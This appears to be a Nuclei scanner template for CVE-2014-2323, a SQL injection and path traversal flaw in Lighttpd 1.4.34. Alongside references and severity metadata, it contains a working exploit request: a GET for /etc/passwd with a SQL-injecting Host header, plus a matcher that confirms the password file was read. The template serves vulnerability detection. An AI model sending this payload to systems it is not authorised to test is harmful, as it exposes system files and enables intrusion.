id: CVE-2014-2323 info: name: Lighttpd 1.4.34 SQL Injection and Path Traversal author: geeknik severity: critical description: A SQL injection vulnerability in mod_mysql_vhost.c in lighttpd before 1.4.35 allows remote attackers to execute arbitrary SQL commands via the host name (related to request_check_hostname). impact: | Successful exploitation of these vulnerabilities could lead to unauthorized access to sensitive data and remote code execution remediation: | Upgrade to a patched version of Lighttpd or apply the necessary security patches reference: - https://nvd.nist.gov/vuln/detail/CVE-2014-2323 - https://download.lighttpd.net/lighttpd/security/lighttpd_sa_2014_01.txt - http://www.lighttpd.net/2014/3/12/1.4.35/ - http://seclists.org/oss-sec/2014/q1/561 - http://jvn.jp/en/jp/JVN37417423/index.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2014-2323 cwe-id: CWE-89 epss-score: 0.96071 epss-percentile: 0.9935 cpe: cpe:2.3:a:lighttpd:lighttpd:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: lighttpd product: lighttpd tags: lighttpd,injection,seclists,cve,cve2014,sqli http: - raw: - |+ GET /etc/passwd HTTP/1.1 Host: [::1]' UNION SELECT '/ unsafe: true matchers: - type: regex regex: - "root:[x*]:0:0:" # digest: 4b0a00483046022100e0c790e1cbbd16a33270523f27a14fcfe82c2f99b9cb6d04774121f8f44cccad022100b328c3e67f5f85bd158b7701623a9ec68f2aed71f07a280422f15db73aaad1c5:922c64590222798bb761d5b6d8e72950